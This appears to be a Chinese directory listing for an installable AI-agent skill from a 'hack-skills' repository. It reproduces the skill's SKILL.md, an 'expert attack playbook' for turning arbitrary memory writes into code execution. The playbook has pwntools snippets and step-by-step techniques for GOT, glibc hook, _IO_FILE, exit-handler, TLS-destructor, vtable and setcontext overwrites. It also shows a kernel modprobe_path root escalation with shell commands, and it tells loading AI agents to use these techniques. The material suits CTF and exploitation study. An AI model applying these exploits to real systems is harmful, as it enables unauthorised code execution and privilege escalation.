Token导航 LogoToken导航

Agent Skill · 开发

arbitrary-write-to-rce(任意写入 rce)

arbitrary-write-to-rce 用于处理 GitHub 仓库、Issue、Pull Request 和代码协作信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要围绕仓库状态、代码变更或协作事项进行整理时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

arbitrary-write-to-rce 是开发类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为只读;许可证信息还不明确,第三方扫描有未通过项,按安装量在开发类的 21,746 个 Skill 里排第 5,401。

总安装 6,374周安装 271GitHub Stars 349下载 2,233核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:arbitrary-write-to-rce(任意写入 rce)
来源仓库:https://github.com/yaklang/hack-skills
仓库路径:skills/arbitrary-write-to-rce
安装命令:
npx skills add https://github.com/yaklang/hack-skills --skill arbitrary-write-to-rce
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/yaklang/hack-skills --skill arbitrary-write-to-rce

这个 Skill 是做什么的

开发类 Skill 面向写代码、改代码和排查问题,一般会读写仓库文件,部分还会执行构建或测试命令。

arbitrary-write-to-rce 将任意写入原语转化为代码执行的高级技巧。覆盖 GOT、malloc_hook、_IO_FILE vtable 等多种攻击面。按 glibc 版本组织利用方法,适配现代系统环境变化。属于“最后一公里”技能,常需结合其他漏洞共同使用。仅供安全研究与授权测试,禁止非法用途。

来源仓库内路径:skills/arbitrary-write-to-rce

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/yaklang/hack-skills --skill arbitrary-write-to…;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它标注为只读,先用只读任务试一次,确认行为符合预期再扩大使用范围。

常见问题

6 条

arbitrary-write-to-rce 怎么安装?

在终端执行 npx skills add https://github.com/yaklang/hack-skills --skill arbitrary-write-to-rce。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

arbitrary-write-to-rce 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

arbitrary-write-to-rce 需要什么权限?

权限级别是只读。该 Skill 主要提供规则、说明或参考内容,本身偏只读;真正读写文件、联网或执行命令仍取决于宿主 Agent 的任务。

arbitrary-write-to-rce 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

arbitrary-write-to-rce 用的人多吗?

公开数据是累计安装 6,374 次,近一周安装 271 次,下载 2,233 次,GitHub 349 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

arbitrary-write-to-rce 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。
  • 标注为只读权限,试用阶段不容易误改本地文件。

先想清楚的地方

  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理开发类任务、又不想每次都手写提示词的人。
  • 只想先试试效果、不希望它改动本地文件的人。

不太适合

  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

开发类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
skill-vetter

技能审查员 · OpenClaw

8,779,018986操作浏览器MIT-0通过
ontology

本体论 · OpenClaw

6,636,960576只读MIT-0通过
entra-app-registration

内部应用程序注册 · Codex、Claude

6,631,872764接触敏感数据未明确通过
entra-app-registration

内部应用程序注册 · Codex、Claude

3,757,680201接触敏感数据未明确通过
nano-banana-pro

纳米香蕉专业版 · OpenClaw

3,526,898364接触敏感数据MIT-0有提醒
arbitrary-write-to-rce

任意写入 rce · 本页

6,374349只读未明确未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

SKILL: Arbitrary Write to Code Execution — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert techniques for converting an arbitrary write primitive into code execution. Covers every major overwrite target organized by glibc version compatibility: GOT, __malloc_hook, __free_hook, _IO_FILE vtable, __exit_funcs, TLS_dtor_list, _dl_fini, modprobe_path,.fini_array, C++ vtable, and setcontext gadget. This is the "last mile" skill. Base models often target hooks that no longer exist (post-glibc 2.34) or miss pointer mangling requirements.

0. RELATED ROUTING


1. TARGET SELECTION BY GLIBC VERSION

Targetglibc < 2.242.24–2.33≥ 2.34Required Knowledge
GOT overwriteOK (Partial RELRO)OK (Partial RELRO)OK (Partial RELRO)Binary base
__malloc_hookOKOKRemovedlibc base
__free_hookOKOKRemovedlibc base
__realloc_hookOKOKRemovedlibc base
_IO_FILE vtable (direct)OKVtable range checkVtable range checklibc base + heap
_IO_FILE via _IO_str_jumpsN/AOK (2.24–2.27)Patchedlibc base + heap
_IO_FILE via _IO_wfile_jumpsN/AOK (≥ 2.28)OKlibc base + heap
__exit_funcsOKOKOKlibc base + pointer guard
TLS_dtor_listN/AN/AOKTLS addr + pointer guard
_dl_fini / link_mapOKOKOKld.so base
modprobe_path (kernel)OKOKOKKernel base
.fini_arrayOKOKOKBinary base (if writable)
C++ vtableOKOKOKObject address + heap
setcontext gadgetOKOK (changed in 2.29)OKlibc base
Stack return addressAlwaysAlwaysAlwaysStack address

2. GOT OVERWRITE

Replace a function pointer in the Global Offset Table.

Requirements

  • Partial RELRO (.got.plt writable) — Full RELRO blocks this entirely

Common Targets

Overwrite FromOverwrite ToTrigger
printf@GOTsystemNext printf(user_input) with input = /bin/sh
free@GOTsystemNext free(ptr) where ptr points to "/bin/sh"
strlen@GOTsystemNext strlen(user_input)
atoi@GOTsystemNext atoi(user_input) with input = "sh"
puts@GOTsystemNext puts(user_input)
exit@GOTmain or gadgetCreate loop for multi-shot exploit
__stack_chk_fail@GOTret gadgetNeutralize canary check
# Format string GOT overwrite
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})

# Heap-based GOT overwrite (tcache poisoning)
# Allocate chunk at GOT address → write system address

3. __malloc_hook / __free_hook (glibc < 2.34)

__malloc_hook

# Overwrite __malloc_hook with one_gadget address
# Triggered by any malloc call (including internal malloc in printf with large format)
write(libc.sym['__malloc_hook'], one_gadget_addr)
# Trigger:
io.sendline('%100000c')  # printf calls malloc internally for large format

__free_hook

# Overwrite __free_hook with system
write(libc.sym['__free_hook'], libc.sym['system'])
# Trigger: free a chunk containing "/bin/sh"
chunk_data = b'/bin/sh\x00'
# ... allocate chunk with this data, then free it

Realloc Trick for one_gadget Constraints

# one_gadget often requires specific register/stack state
# realloc pushes registers and adjusts stack before calling __realloc_hook
# Set __malloc_hook = realloc+N (skip some pushes to adjust stack alignment)
# Set __realloc_hook = one_gadget
write(libc.sym['__realloc_hook'], one_gadget)
write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2)  # +2, +4, +6 etc. to adjust

4. _IO_FILE VTABLE

See IO_FILE_EXPLOITATION.md for full details.

Quick Summary by Version

glibcMethodVtable Target
< 2.24Direct vtable overwritePoint vtable to fake table with system at __overflow offset
2.24–2.27_IO_str_jumpsWithin valid range; _IO_str_finish calls _s._free_buffer
≥ 2.28_IO_wfile_jumpsWide-char path: _wide_data->_wide_vtable not range-checked
≥ 2.35House of Cat_IO_wfile_seekoff → _IO_switch_to_wget_mode → fake wide vtable call

FSOP Trigger

# Overwrite _IO_list_all → fake FILE with crafted vtable
# Trigger via exit() or malloc abort → _IO_flush_all_lockp → _IO_OVERFLOW

5. __exit_funcs / __atexit

// __exit_funcs is a linked list of function pointer entries called during exit()
// Each entry contains a flavor (cxa, on, at) and a function pointer
// Function pointers are MANGLED with pointer guard:
//   stored = ROL(ptr ^ __pointer_chk_guard, 0x11)

Exploitation

# Need: libc base + __pointer_chk_guard value (at fs:[0x30] or leaked)
# 1. Leak or brute-force pointer_guard
# 2. Compute mangled function pointer:
import struct
def mangle(ptr, guard):
    return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff

# 3. Write mangled one_gadget/system to __exit_funcs entry
# 4. Trigger: call exit() or return from main

Without Pointer Guard Knowledge

If you can overwrite both the function pointer AND the pointer guard (in TLS at fs:[0x30]):

  1. Set pointer guard to 0
  2. Set function pointer to ROL(target, 0x11)
  3. Demangling: ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target

6. TLS_dtor_list (glibc ≥ 2.34)

Thread-local destructor list — the primary post-2.34 target.

// Called during __call_tls_dtors() in exit flow
// Each entry: { void (*func)(void *), void *obj, void *next }
// func is MANGLED same as exit_funcs (PTR_DEMANGLE)

Location

TLS area (pointed by fs register on x86-64)
tls_dtor_list is a thread-local variable in libc
Typically at fs:[offset] — offset found via libc symbol or brute-force

Exploitation

# 1. Leak TLS base address (e.g., via canary leak: canary at fs:[0x28])
# 2. Compute tls_dtor_list address
# 3. Forge a tls_dtor_list entry:
entry = p64(mangled_func_ptr)  # func (mangled with pointer guard)
entry += p64(arg_value)         # obj (passed as argument to func)
entry += p64(0)                 # next = NULL (end of list)
# 4. Write entry to heap, set tls_dtor_list to point to it
# 5. Trigger: exit() → __call_tls_dtors() → func(obj)

7. _dl_fini / LINK_MAP CORRUPTION

Attack Vector

During exit(), _dl_fini iterates the link_map list and calls DT_FINI_ARRAY entries.

// In _dl_fini:
for each loaded library (link_map entry):
    if l_info[DT_FINI_ARRAY]:
        array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
        for each entry in array:
            entry()  // call destructor

Exploitation

  1. Corrupt a link_map entry's l_addr (relocation base) to shift the FINI_ARRAY pointer
  2. Or corrupt l_info[DT_FINI_ARRAY] to point to fake array
  3. Fake array contains target function pointer (system, one_gadget)
  4. Trigger: exit() → _dl_fini → calls fake destructor

Advantage: No pointer mangling (function pointers in FINI_ARRAY are not mangled).


8. modprobe_path (KERNEL)

Overwrite the kernel's modprobe_path to execute arbitrary commands as root.

# 1. Arbitrary kernel write: overwrite modprobe_path ("/sbin/modprobe")
#    with "/tmp/x" (attacker's script)
kernel_write(modprobe_path_addr, b'/tmp/x\x00')

# 2. Prepare script:
# echo '#!/bin/sh' > /tmp/x
# echo 'cat /flag > /tmp/output' >> /tmp/x
# chmod +x /tmp/x

# 3. Trigger: execute a file with unknown binary format
# echo -ne '\xff\xff\xff\xff' > /tmp/trigger
# chmod +x /tmp/trigger
# /tmp/trigger
# → kernel calls modprobe_path ("/tmp/x") as root

See kernel-exploitation for kernel write primitives.


9..fini_array

Overwrite destructor function pointers called during normal program exit.

# .fini_array contains function pointers called in reverse order during exit
# Typically: [__do_global_dtors_aux, ...]
# Overwrite first entry with target (main for loop, system for RCE)

# Two-stage: .fini_array[0] = main (loop back), .fini_array[1] = <exploit_func>
# First exit: calls .fini_array[1] (exploit_func), then .fini_array[0] (main)
# In main loop: set up final exploit

Limitation: .fini_array may be read-only in Full RELRO binaries.


10. C++ VTABLE OVERWRITE

// C++ objects with virtual functions have a vptr at offset 0
// vptr → vtable → array of function pointers
// Overwrite vptr to point to fake vtable with controlled function pointers

// Object layout:
// +0x00: vptr → [vtable_entry_0, vtable_entry_1, ...]
// +0x08: member data...
# 1. Leak object address and vptr
# 2. Create fake vtable in controlled memory:
fake_vtable = p64(0)              # offset -0x10 (RTTI info)
fake_vtable += p64(0)             # offset -0x08 (RTTI info)
fake_vtable += p64(target_func)   # virtual function 0 → system / one_gadget
fake_vtable += p64(target_func)   # virtual function 1
# 3. Overwrite vptr to point to fake_vtable + 0x10 (skip RTTI prefix)
# 4. Trigger: call virtual function on the object

11. setcontext GADGET

setcontext in libc loads registers from a ucontext_t structure — useful as a pivot gadget.

glibc < 2.29

// setcontext+53: loads registers from [rdi + offsets]
// RDI = first argument = pointer to controlled buffer
// Sets RSP, RIP, and all other registers → full control

glibc ≥ 2.29

// setcontext+61: loads registers from [rdx + offsets]
// Must control RDX, not RDI
// Need an intermediate gadget: mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]
# Common pattern with __free_hook (pre-2.34):
# __free_hook = setcontext + 61
# free(chunk) → setcontext(chunk) where chunk contains fake ucontext
# From ucontext: set RSP to ROP chain, RIP to ret → ROP continues

# Post-2.34: combine with _IO_FILE exploitation
# _IO_FILE vtable call passes fp as first arg → use gadget to move to rdx → setcontext

12. DECISION TREE

You have an arbitrary write primitive. What to target?

├── What's the RELRO level?
│   ├── None / Partial → GOT overwrite (simplest, most reliable)
│   │   └── printf→system, free→system, atoi→system
│   └── Full RELRO → GOT read-only, choose alternative:
│
├── What glibc version?
│   ├── < 2.34 (hooks available)
│   │   ├── __free_hook = system → free("/bin/sh") [easiest]
│   │   ├── __malloc_hook = one_gadget → trigger malloc [if constraints met]
│   │   └── __realloc_hook + __malloc_hook realloc trick [adjust stack alignment]
│   │
│   ├── ≥ 2.34 (no hooks)
│   │   ├── Know pointer guard (fs:[0x30])?
│   │   │   ├── YES → __exit_funcs or TLS_dtor_list
│   │   │   └── NO → overwrite pointer guard to 0 first, then exit_funcs
│   │   ├── _IO_FILE + _IO_wfile_jumps (House of Apple 2 / Cat)
│   │   │   └── Need: libc base + heap address + controllable FILE structure
│   │   ├── _dl_fini link_map corruption
│   │   │   └── Need: ld.so base address
│   │   └── .fini_array (if writable)
│   │       └── Need: binary base (no PIE, or PIE base leaked)
│   │
│   └── Any version
│       ├── Stack return address (if stack address known)
│       └── C++ vtable (if targeting C++ object with virtual functions)
│
├── Kernel write primitive?
│   ├── modprobe_path (simplest kernel→root)
│   ├── core_pattern (/proc/sys/kernel/core_pattern)
│   └── Direct cred structure overwrite
│
└── Need to chain read → write → execute?
    └── setcontext gadget: arbitrary write → pivot RSP → ROP chain
        ├── glibc < 2.29: setcontext+53 (uses RDI)
        └── glibc ≥ 2.29: setcontext+61 (uses RDX, need mov rdx, [rdi] gadget)

平台分布

Codex

34.92%
按下载量换算780

Claude

31.11%
按下载量换算695

Cursor

17.75%
按下载量换算396

Gemini CLI

9.74%
按下载量换算217

安全审计

Gen Agent Trust Hub

可疑

Socket

可疑

Snyk

未通过

权限和风险

只读

该 Skill 主要提供规则、说明或参考内容,本身偏只读;真正读写文件、联网或执行命令仍取决于宿主 Agent 的任务。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

继续浏览同类 Skills